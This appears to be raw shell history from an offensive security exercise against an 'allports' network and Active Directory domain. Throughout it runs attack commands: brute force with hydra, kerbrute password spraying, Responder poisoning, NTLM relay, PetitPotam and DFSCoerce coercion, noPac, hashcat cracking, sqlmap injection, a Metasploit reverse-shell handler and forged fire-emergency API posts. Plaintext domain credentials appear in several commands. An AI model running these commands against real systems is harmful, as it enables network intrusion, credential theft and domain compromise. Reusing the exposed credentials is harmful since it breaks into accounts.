msfconsole
enum4linux -a 10.0.1.254
cd
enum4linux -a 10.0.1.253
enum4linux -a 10.0.1.254:9697
dirb 10.0.1.254:9697
dirb http://10.0.1.254:9697
dirb https://10.0.1.254:9697
searchsploit certify
msfconsole
nmap -sS 10.0.1.254:9697
sudo nmap -sS -p 9697 -Pn 10.0.1.254
nmap -sS -p 9697 -Pn 10.0.1.254
nmap -sT -p 9697 -Pn 10.0.1.254
nmap -f -p 9697 -Pn 10.0.1.254\
nc -v 10.0.1.254 9697\
masscan 10.0.1.254 -p9697 --rate=1000
sudo masscan 10.0.1.254 -p9697 --rate=1000
ncat --ssl 10.0.1.254 9697\
nc --ssl 10.0.1.254 9697\
ncat --ssl 10.0.1.254 9697\
ping 10.0.1.254
sudo nmap -sU -p- --top-ports 1000 -Pn 10.0.1.254\
nmap -p 139,445 --script smb-enum-shares,smb-enum-users,smb-vuln* 10.0.1.21
curl -vk https://10.0.1.21:5986/wsman
curl -vk -X POST https://10.0.1.21:5986/wsman \\
-H "Content-Type: application/soap+xml;charset=UTF-8" \\
--data '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">...</s:Envelope>' \\
--user 'allports.local\\rdavis:rosdav50'\
searchsploit
exit


_raw: : 1762030191:0;ldapsearch -C -x -H ldap://10.0.1.6 -b "DC=allports,DC=local" -s sub "(objectClass=user)" sAMAccountName,displayName,mail,memberOf -LLL\


_raw: : 1762030161:0;bloodhound-python -d APT-DC-01.allports.local -u '' -p '' -ns 10.0.1.6 -c all


_raw: : 1762030147:0;bloodhound-python -d APT-DC-01.allports.local -u 'Guest' -p '' -ns 10.0.1.6 -c all


_raw: : 1762030127:0;bloodhound-python -d APT-DC-01.allports.local -u 'Guest' -p ''


_raw: : 1762030009:0;git clone https://github.com/danielmiessler/SecLists.git


_raw: : 1762030002:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid Passwordclear


_raw: : 1762030001:0;git clone https://github.com/yaldobaoth/OSCP-Scripts.git


_raw:
#1762030000
pipx install git+https://github.com/Tib3rius/AutoRecon.git


_raw: : 1762029938:0;find / -type f -name bloodhound.py 2>/dev/null


_raw:
: 1762029928:0;sudo env "PATH=$PATH" autorecon [OPTIONS]\
sudo $(which autorecon) [OPTIONS]


_raw:
mysql
mysql -h
mysql --help
mysql --host=10.0.1.99 --user=mysql --password=password
mysql -h 10.0.1.99 -u root
cat 10.0.1.10_scan_xml
vim up.txt
cat up.txt
clear
exit


_raw:
curl http://bb-b143.rooms.allports.tours/api/services/open
nmap http://bb-b143.rooms.allports.tours
nmap bb-b143.rooms.allports.tours
nmap 10.0.1.99
mysql -h http://bb-b143.rooms.allports.tours/
mysql -h bb-b143.rooms.allports.tours
# replace HOST:3306 with your server\
openssl s_client -connect 10.0.1.99:3306 -starttls mysql -showcerts 2>/dev/null | sed -n '1,240p'\
mysql -h bb-b143.rooms.allports.tours:3306
mysql -h 10.0.1.99:3306
mysql -h 10.0.1.99 --port 3306
mysql -h 10.0.1.99 --port 3306 -u root
mysql -h 10.0.1.99 --port 3306 -u root --password root
mysql -h 10.0.1.99 --port 3306 -u root --password
mysql --host=10.0.1.99 --port=3306 -u root -p --ssl-mode=DISABLED
mysql --host=10.0.1.99 --port=3306 -u root -p --ssl-mode DISABLED
mysql --host=10.0.1.99 --port=3306 -u root -p
mysql -h HOST -u USER -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.99 -u root -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.99 -u mysql -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.99 -u admin -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.99 -u root -p --ssl --ssl-verify-server-cert=0
mysql -h 10.0.1.99 -u boatgps -p --ssl --ssl-verify-server-cert=0
nmap 10.0.1.1.
nmap 10.0.1.1
nmap -A 10.0.1.10
nmap -A -p22,6768 10.0.1.10
exit


_raw:
nmap -sS 10.0.1.0/24
nmap -sS 10.0.254.207
nmap -sS 10.0.254.0/24
nmap -h
subfinder -d rooms.allports.tours -silent -nW > passive_subs.txt
amass enum -passive -d rooms.allports.tours -o amass_passive.txt
vim tmp.sh
chmod +x tmp.sh
./tmp.sh
BB-B143.rooms.allports.tours
curl -s "https://crt.sh/?q=%25.rooms.allports.tours&output=json" | jq -r '.[].name_value' | sed 's/\r//g' | sort -u > crtsh_subs.txt
host rooms.allports.tours
dig +short rooms.allports.tours | head -n1
rm tmp.sh
clear
nmap -sS 10.0.1.99
cat /etc/resolv.conf
dig @1.1.1.1 rooms.allports.tours ANY +noall +answer
nmap http://bb-b143.rooms.allports.tours/
nmap bb-b143.rooms.allports.tours
perl -e 'open F, ">", "candidates.txt" or die $!; for $p ("BB","PP"){ for $L ("A".."Z"){ for $n (0..999){ printf F "%s-%s%03d.rooms.allports.tours\n",$p,$L,$n }}} close F; print `wc -l candidates.txt`;' \
ls
cat candidates.txt
clear
# split into files of 2000 lines each (adjust size as needed)\
split -l 2000 candidates.txt batch_\
ls batch_*\
mkdir -p nmap_runs\
for f in batch_*; do\
  # conservative timing (-T2), ping-scan only (-sn), save greppable output\
  nmap -Pn -sn -T2 -iL "$f" -oG "nmap_runs/$(basename $f).gnmap"\
  sleep 2   # polite pause between batches\
done\
ls
ping chat.allports.tours
nmap chat.allports.tours
# collect lines with Status: Up, format: hostname IP\
grep "Status: Up" nmap_runs/*.gnmap | sed -n 's/.*Host: \([^ ]*\) (\([^)]*\)).*/\1 \2/p' | sort -u > up_hosts.txt\
wc -l up_hosts.txt\
cat up_hosts.txt
# show which candidate hostnames resolve to the same IP (helps detect wildcard)\
awk '{print $2}' up_hosts.txt | sort | uniq -c | sort -rn > ip_counts.txt\
head -n 20 ip_counts.txt\
clear
ls
rm batch*
ls
rm amass_passive.txt
rm candidates.txt
rm crtsh_subs.txt
rm ip_counts.txt
rm pass*
ls
rm up_hosts.txt
clear
nmap 10.0.1.99
nmap -sS 10.0.254.0/24
nmap -sS 10.0.1.0/24
nmap -p- 10.0.1.14
nmap -A -p11,80,443,5001 10.0.1.14
nmap -sS allports.tours
nmap -A -p22,80,443,5001 10.0.1.14
perl -e 'open F, ">", "candidates.txt" or die $!; for $p ("BB","PP"){ for $L ("A".."D"){ for $n (0..999){ printf F "%s-%s%03d.rooms.allports.tours\n",$p,$L,$n }}} close F; print `wc -l candidates.txt`;' \
# split into files of 2000 lines each (adjust size as needed)\
split -l 2000 candidates.txt batch_\
ls batch_*\
mkdir -p nmap_runs\
for f in batch_*; do\
  # conservative timing (-T2), ping-scan only (-sn), save greppable output\
  nmap -Pn -sn -T2 -iL "$f" -oG "nmap_runs/$(basename $f).gnmap"\
  sleep 2   # polite pause between batches\
done\
ls
rm batch_aa
rm batch_ab
mkdir -p nmap_runs\
for f in batch_*; do\
  # conservative timing (-T2), ping-scan only (-sn), save greppable output\
  nmap -Pn -sn -T2 -iL "$f" -oG "nmap_runs/$(basename $f).gnmap"\
  sleep 2   # polite pause between batches\
done\
rm batch_ac
clear
mkdir -p nmap_runs\
for f in batch_*; do\
  # conservative timing (-T2), ping-scan only (-sn), save greppable output\
  nmap -Pn -sn -T2 -iL "$f" -oG "nmap_runs/$(basename $f).gnmap"\
  sleep 2   # polite pause between batches\
done\
clear
nmap -A 10.0.1.10
nc -v 10.0.1.10 6768
clear
curl -s "https://crt.sh/?q=%25.rooms.allports.tours&output=json" | jq -r '.[].name_value' | sed 's/\r//g' | sort -u > crtsh_subs.txt
vim up.txt
nano up.txt
curl -L 10.0.1.14:5001
nc -v 10.0.1.10 6768
nmap -sS 10.0.1.0/24
curl -I --max-time 8 "https://HOST/api/emergencies"
curl -I --max-time 8 "https://http://bb-a003.rooms.allports.tours/api/emergencies"
curl -I --max-time 8 "https://bb-a003.rooms.allports.tours/api/emergencies"
HOST="HOST"\
TOKEN="REPLACE_WITH_TOKEN_OR_USE_BASIC_AUTH"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "https://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -H "Authorization: Bearer ${TOKEN}" \\
  -d "{\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
HOST="http://bb-a003.rooms.allports.tours"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "https://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -d "{\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
HOST="bb-a003.rooms.allports.tours"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "https://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -d "{\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
HOST="bb-a003.rooms.allports.tours"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "http://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -d "{\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
curl -sS "http://${HOST}/api/emergencies"
HOST="bb-a003.rooms.allports.tours"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "http://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -d "{\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
HOST="bb-a003.rooms.allports.tours"\
TIMESTAMP="$(date -u +"%Y-%m-%dT%H:%M:%SZ")"\
\
curl -sS -X POST "http://${HOST}/api/emergencies" \\
  -H "Content-Type: application/json" \\
  -d "{ \\
    \"RoomID\": 3,\
    \"RoomDisplay\": \"BB-A173\",\
    \"EmergencyType\": \"fire\",\
    \"Timestamp\": \"${TIMESTAMP}\"\
  }" -o post_response.txt -w "\nHTTP:%{http_code}\n"\
clear
nmap -A 10.0.1.10
nmap -A 10.0.1.99
clear
nmap -A 10.0.1.20
clear
mysql -h 10.0.1.15 -u root -p
mysql -h 10.0.1.15 -u root -p --ssl --ssl-verify-server-cert=0\
nmap -A 10.0.1.15
mysql -h 10.0.1.15 -u boatgps
mysql -h 10.0.1.15 -u boatgps -p
mysql -h 10.0.1.15 -u boatgps -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.99 -u boatgps -p --ssl --ssl-verify-server-cert=0\
mysql -h 10.0.1.15 -u boatgps -p --ssl --ssl-verify-server-cert=0\
clear
exit


_raw: : 1762029893:0;pipx install git+https://github.com/Tib3rius/AutoRecon.git


_raw: : 1762029860:0;rm -rf linWinPwn_allports.local


_raw:
: 1762029853:0;sudo apt install python3-venv\
python3 -m pip install --user pipx\
python3 -m pipx ensurepath


_raw: : 1762029836:0;sudo apt install seclists curl dnsrecon enum4linux feroxbuster gobuster impacket-scripts nbtscan nikto nmap onesixtyone oscanner redis-tools smbclient smbmap snmp sslscan sipvicious tnscmd10g whatweb


_raw: : 1762029823:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid Password


_raw: : 1762029812:0;sudo apt install seclists


_raw:
: 1762029801:0;sudo apt install python3\
sudo apt install python3-pip


_raw:
hydra -L /usr/share/wordlists/seclists/Usernames/top-username-shortlists.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt 10.0.1.15 mysql\
hydra -L /usr/share/wordlists/seclists/Usernames/top-usernames-shortlists.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt 10.0.1.15 mysql\
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt 10.0.1.15 mysql\
ffuf -u http://10.0.1.15/
ffuf -u http://10.0.1.15
clear
ffuf -u http://10.0.1.15
hydra -L /usr/share/seclists/Usernames/top-usernames-shortlist.txt -P /usr/share/wordlists/seclists/Passwords/Common-Credentials/500-worst-passwords.txt 10.0.1.99 mysql\


_raw: : 1762029757:0;git clone https://github.com/Tib3rius/AutoRecon


_raw: : 1762029712:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid StayPhishy


_raw: : 1762029670:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid allportstours


_raw: : 1762029657:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid allportstours2025


_raw: : 1762029597:0;rm -rf linWinPwn_allports.localls


_raw: : 1762029475:0;sudo responder -I eth0 --lm


_raw: : 1762029470:0;sudo responder -I eth0 -lm


_raw: : 1762029347:0;sudo responder -I eth0 --lm


_raw:
nmap -oN nmap_simple.txt -sn 10.0.1.0/24
ls
mkdir test
mv nmap_simple.txt ./test
cd te
ls
cd test
ls
mkdir nmap scans
ls
mkdir nmap_scans
ls
mv nmap_simple.txt ./nmap_scans
ls
cd nmap_scans
ls
cat nmap_simple.txt
ls
cd /usr/share/wordlists
ls
cd ..
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/FUZZ
ls
cd ~
vim test.txt
ffuf -w ./test.txt -u http://10.0.1.11/FUZZ
ffuf -w ./test.txt -u http://10.0.1.11/api/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/api/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/api/FUZZ -fs 4831
sudo vim /etc/hosts
whatweb 10.0.1.15:8080
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/FUZZ -fs 4831
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/assets/FUZZ -fs 4831
ffuf -h
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.11/assets/FUZZ -fs 4831 -e .js
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.15/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.15:8080/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.15:8080/\?route=FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.0.1.15:8080/\?route=FUZZ -fs 1235
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bb-b143.rooms.allports.tours/api/services/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bb-b143.rooms.allports.tours/api/FUZZ
ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://bb-b143.rooms.allports.tours/api/admin/FUZZ
whatweb http://bb-b143.rooms.allports.tours/services.html
whatweb http://bb-b143.rooms.allports.tours/api/services/request
sqlmap -u "http://bb-b143.rooms.allports.tours/api/services/request" --data
sqlmap -u "http://bb-b143.rooms.allports.tours/api/services/request" --data '{ "serviceOptionID":1, "notes":"test" }'
sqlmap -u "http://bb-b143.rooms.allports.tours/api/services/request" --data '{ "serviceOptionID":1, "notes":"test" }' batch
sqlmap -u "http://bb-b143.rooms.allports.tours/api/services/request" --data '{ "serviceOptionID":1, "notes":"test" }' --batch
sqlmap -u "http://bb-b143.rooms.allports.tours/api/services/request" --data '{ "serviceOptionID":1, "notes":"test" }'
vim test.txt
sqlmap -r test.txt --batch
vim test.txt
sqlmap -r test.txt --batch
vim test.txt
sqlmap -r test.txt --batch
sqlmap -r test.txt --batch --random-agent


_raw:
nmap -oN script_scan.txt  -sC 10.0.1.10 10.0.1.11 10.0.1.14 10.0.1.15 10.0.1.20 10.0.1.21 10.0.1.30 10.0.1.99 10.0.1.254
ls
cd test
ls
cd nmap_scans
ls
cd ..
mkdir buster
cd buster
ls
gobuster dir -u 10.0.1.11 -w /usr/share/wfuzz/wordlist/webservices/ws-dirs.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wfuzz/wordlist/webservices/ws-files.txt
cat /usr/share/wordlists/wfuzz/webservices/ws-dirs.txt
gobuster dir -u 10.0.1.11 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
cat /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt | grep login
gobuster dir -u http://10.0.1.11/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
curl 10.0.1.14
curl 10.0.1.99
mysql -u root -h 10.0.1.15
mysql -u root -h 10.0.1.15 -p
ip a
nc -lnvp 1234
nc -lvp 10.0.1.14 -p 3306
nc -vp 10.0.1.14 -p 3306
nc -l 10.0.1.14 -p 3306
nc 10.0.1.15 -p 3306
nc 10.0.1.15 3306


_raw: : 1762029180:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports,DC=local"


_raw: : 1762029175:0;hashcat -a 0 hash /usr/share/wordlists/rockyou.txt


_raw:
clear
ls
mkdir all-ports-tours
cd all-ports-tours
ls
mkdir scans
cd scans
nmap -sn -oA pingsweep 10.0.1.0/24
ls
mkdir pingsweep
mv pingsweep* pingsweep
ls
cd pingsweep
ls
cat pingsweep.gnmap
ls
awk '/Status: Up/{print $2}' pingsweep.gnmap > pingsweep.txt
cat pingsweep.txt
ls
nmap -oA https -iL pingsweep.txt -p 443
nmap -oA https -iL pingsweep.txt -p 443 | grep open
ls
mkdir scan-https
mv https* scan-https
cd scan-https
ls
grep '/open/' https.gnmap | awk '{print $2}' | sort -u > service.txt
mv service.txt https.txt
cat https.txt
cd ..
ls
mkdir scan-http
nmap -oA http -iL pingsweep.txt -p 80
ls
cat http.gnmap | grep open
mv http* scan-http
ls
cd scan-http
ls
grep '/open/' http.gnmap | awk '{print $2}' | sort -u > http.txt
cat http.txt
cd ..
ls
mkdir scan-ssh
nmap -oA ssh -iL pingsweep.txt -p 22
ls
cat ssh.gnmap | grep open
mv ssh* scan-ssh
ls
cd scan-ssh
ls
grep '/open/' ssh.gnmap | awk '{print $2}' | sort -u > ssh.txt
cat ssh.txt
cd ..
ls
mkdir scan-smb
nmap -oA smb -iL pingsweep.txt
ls
mv smb* scan-smb
cd scan-smb
ls
cat smb.gnmap | grep open
ls
rm *
ls
cd ..
ls
nmap -oA smb -iL pingsweep.txt -p 445
ls
cat smb.gnmap | grep smb
cat smb.gnmap | grep open
ls
mv smb* scan-smb
cd scan-smb
ls
grep '/open/' smb.gnmap | awk '{print $2}' | sort -u > smb.txt
cat smb.txt
cd ..
mkdir scan-ftp
ls
nmap -oA ftp -iL pingsweep.txt -p 21
ls
mv ftp* scan-ftp
cd scan-ftp
ls
grep '/open/' ftp.gnmap | awk '{print $2}' | sort -u > ftp.txt
cat ftp.txt
cd ..
mkdir scan-dc
nmap -oA dc -iL pingsweep.txt -p 88
ls
mv dc* scan-dc
cd scan-dc
ls
grep '/open/' dc.gnmap | awk '{print $2}' | sort -u > dc.txt
cat dc.txt
ls
cd ..
mkdir scan-rdp
nmap -oA rdp -iL pingsweep.txt -p 3389
ls
mv rdp* scan-rdp
cd scan-rdp
grep '/open/' rdp.gnmap | awk '{print $2}' | sort -u > rdp.txt
cat rdp.txt
cd ..
mkdir 10.0.1.14
mv 10.0.1.14
rm -r 10.0.1.14
mkdir 10.0.1.11
cd 10.0.1.11
ls
sudo nmap -sC -sV 10.0.1.11 -oN scans/initial.txt
mkdir scans
sudo nmap -sC -sV 10.0.1.11 -oN scans/initial.txt
ls
cd scans
ls
cat initial.txt
ls
cat initial.txt| grep ldap
ls
cat initial.txt
ls
cat initial.txt
python3 -m http.server 6969
ip a
python3 -m http.server 6969
nc -nvlp 6969
cd ..
mkdir 10.0.1.10
cd 10.0.1.10
ls
vim shell.sh
python3 -m http.server 6969
tmux


_raw:
msfconsole -q -x use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST 10.0.254.205; set LPORT 9999; exploit -j
nmap -sV 10.0.1.14
msfconsole
nmap --script=vuln 10.0.1.14
nmap -sV  --script=vuln 10.0.1.14
msfconsole
msfconsole
nmap -sV --script=vuln 10.0.1.30
exit


_raw: : 1762029137:0;nxc winrm 10.0.1.21 -u 'svc_stabilize' -p '1gyroscope' -k


_raw: : 1762029129:0;nxc winrm 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -k


_raw: : 1762029127:0;sudo tcpdump -i any -n -c 10 -w icmp_capture.pcap icmp


_raw: : 1762029126:0;python3 PetitPotam.py localhost 10.0.1.6


_raw:
nmap -Pn -sC -sV 10.0.1.10
nmap -Pn -A -sC -sV 10.0.1.14
nmap -Pn -A -sC -sV 10.0.1.30
searchsploit jellyfin
nmap -Pn -A -sC -sV 10.0.1.21


_raw: : 1762029048:0;cat payload| python3 interact.py


_raw: : 1762029046:0;cat payload| python3 iner


_raw: : 1762029025:0;ldapsearch -x -H ldap://10.0.1.6 -b "DC=allports, DC=local" -s sub


_raw: : 1762028975:0;python3 dfscoerce.py -u 'rdavis' -p 'rosdav50' -domain allports.local -dc-ip 10.0.1.6 10.0.254.202


_raw: : 1762028947:0;python3 dfscoerce.py -u 'svc_stabilize' -p '1gyroscope' -domain allports.local -dc-ip 10.0.1.6 10.0.254.202


_raw: : 1762028929:0;sudo nmap -A 10.0.1.6 -p- -oN ../domain-controllerclear


_raw: : 1762028922:0;python3 dfscoerce.py -u 'svc_stabilize' -p '1gyroscope' -domain allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202


_raw: : 1762028912:0;python3 dfscoerce.py -u 'rdavis' -p 'rosdav50' -domain allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202


_raw: : 1762028895:0;dig chat.allports.tours AXFR


_raw: : 1762028892:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762028891:0;dig chat.allports.tours AXMR


_raw: : 1762028887:0;dig chat.allports.tours text


_raw: : 1762028877:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762028861:0;python3 dfscoerce.py -u 'svc_stabilize' -p '1gyroscope' -domain allports.local -dc-ip 10.0.1.6 -target-ip 10.0.1.6 10.0.254.202


_raw: : 1762028859:0;rm -rf linWinPwn_allports.local


_raw: : 1762028840:0;python3 dfscoerce.py -u 'svc_stabilize' -p '1gyroscope' -domain allports.local -dc-ip 10.0.1.6 10.0.254.202


_raw: : 1762028788:0;sudo nmap --version-all -sU 10.0.1.1 -T4 --max-retries 2 --host-timeout 2m\


_raw: : 1762028758:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M coerce_plus


_raw: : 1762028757:0;ldapsearch -x -H ldap://10.0.1.6 -s sub -b 'DC=cascade,DC=local'


_raw: : 1762028748:0;ldapsearch -x -H ldap://10.0.1.6 -sub -b 'DC=cascade,DC=local'


_raw: : 1762028747:0;nxc smb 10.0.1.6 -u 'svc_stabilize' -p '1gyroscope' -M coerceplus


_raw:
: 1762028731:0;curl -X 'GET' \\
  'http://10.0.1.15:8080/api/navigation.php?action=status' \\
  -H 'accept: application/json'


_raw:
cat /etc/hosts
ls
cd DC
ls
linWinPwn -t 10.0.1.6 -o ./
linWinPwn -t 10.0.1.6 -o ./ --auto
sudo su


_raw: : 1762028627:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --exclude-length 12


_raw: : 1762028600:0;impacket-ntlmrelayx -t ldap://10.0.1.6 --delegate-access -smb2support


_raw: : 1762028587:0;feroxbuster -k -u https://chat.allports.tours -t 10


_raw: : 1762028584:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support --remove-mic


_raw: : 1762028577:0;impacket-smbserver share . -smb2support


_raw: : 1762028571:0;impacket-ntlmrelayx -t ldaps://10.0.1.6 --delegate-access -smb2support


_raw: : 1762028553:0;responder -I eth0 --lm --disable-ess


_raw:
echo eyJjc3JmX3Rva2VuIjoiMDU1ZThlY2Y5M2RkMTZhN2U5Y2U2NjZjZDcyODIyMGYzNjU2ZTU3MiJ9.aQZl8g.FSko9zCXu8XqIKSPdsukUn8n4mQ | base64 -d
echo IjA1NWU4ZWNmOTNkZDE2YTdlOWNlNjY2Y2Q3MjgyMjBmMzY1NmU1NzIi.aQZl9g.iQkjKhCTl-KHFE8FnWEzgHsT2ME | base64 -d
whois chat.allports.tours
whois http://chat.allports.tours
dig axfr http://chat.allports.tours
dig http://chat.allports.tours
nmap -sN chat.allports.tours


_raw: : 1762028471:0;hashcat -m 5500 -a 0 dchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762028411:0;hashcat -m 5500 -a 0 dchash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1762028405:0;python3 noPac.py allports.local/svc_stabilize:'1gyroscope' -dc-ip 10.0.1.20 -use-ldap


_raw: : 1762028376:0;responder -I eth0 --lm --disable-ess


_raw: : 1762028367:0;responder -I eth0 --lm --disable-ess


_raw: : 1762028349:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="


_raw: : 1762028347:0;responder -I eth0 --lm --disabled-ess


_raw: : 1762028287:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H "Authorization: Basic" -d "admin:password"


_raw: : 1762028269:0;impacket-ntlmrelayx -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762028250:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762028248:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H "Authorization: Basic admin:password"


_raw: : 1762028236:0;echo 'YWRtaW46cGFzc3dvcmQ=' | base64 -d


_raw: : 1762028231:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours -smb2support


_raw:
clear
nxc smb 10.0.1.6 -u Guest - ''
nxc smb 10.0.1.6 -u Guest -p ''
nxc smb 10.0.1.20 -u Guest -p ''
nxc smb 10.0.1.21 -u Guest -p ''
nxc smb 10.0.1.21 -u guest -p ''
clear
nxc smb 10.0.1.21 -u administrator -p '' --local-auth
nxc smb 10.0.1.20 -u administrator -p '' --local-auth
clear
smbclient -L //10.0.1.20/
smbclient -L //10.0.1.21/
clear
sudo responder -i eth0
sudo responder -I eth0
clear
sudo responder -I eth0
clear
ldapsearch -H ldap://10.0.1.6 -x -s base
clear
ldapsearch -H ldap://10.0.1.6 -x -s base namingcontexts
clear
ldapsearch -H ldap://10.0.1.6 -x -b "dc=allports,dc=local"
clear
ldapsearch -x -H ldap://dc.example.com -b "dc=allports,dc=local" -s sub "(objectClass=user)" cn sAMAccountName mail memberOf
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectClass=user)" cn sAMAccountName mail memberOf
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectClass=user)"
clear
ldapsearch -LLL -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectCategory=person)(objectClass=user)"
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectCategory=person)(objectClass=user)""
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" -s sub "(objectCategory=person)(objectClass=user)"
clear
ldapsearch -x -H ldap://10.0.1.6 -b "dc=allports,dc=local" | grep "sAMAccountName"
impacket-ntlmrelayx -smb2support -t smb://10.0.1.6 -c 'whoami /all' -debug
clear


_raw: : 1762028185:0;impacket-ntlmrelayx --remove-mic -t ldaps://APT-DC-01.allports.tours --delegate-access -smb2support


_raw: : 1762028168:0;./kerbrute_linux_amd64  passwordspray -d allports.local --dc 10.0.1.6  valid password12345


_raw: : 1762028165:0;curl -X 'GET' 'http://10.0.1.11:8000/ids' -H "Authorization: Basic YWRtaW46cGFzc3dvcmQ="


_raw: : 1762028162:0;gobuster dir -u http://10.0.1.11:8081 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


_raw: : 1762028116:0;gobuster dir -u http://10.0.1.11:8000 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt


_raw: : 1762028098:0;python3 PetitPotam.py 10.0.254.204 apt-dc-01.allports.local


_raw: : 1762028096:0;sudo nmap --script=banner,http-enum,http-title,ssl-cert,smtp-commands -sV -p9697 10.0.1.254\


_raw: : 1762028076:0;ldapsearch -H ldap://10.0.1.6 -D "@allports" -w '' -b "DC=allports,DC=local" "(objectClass=*)"


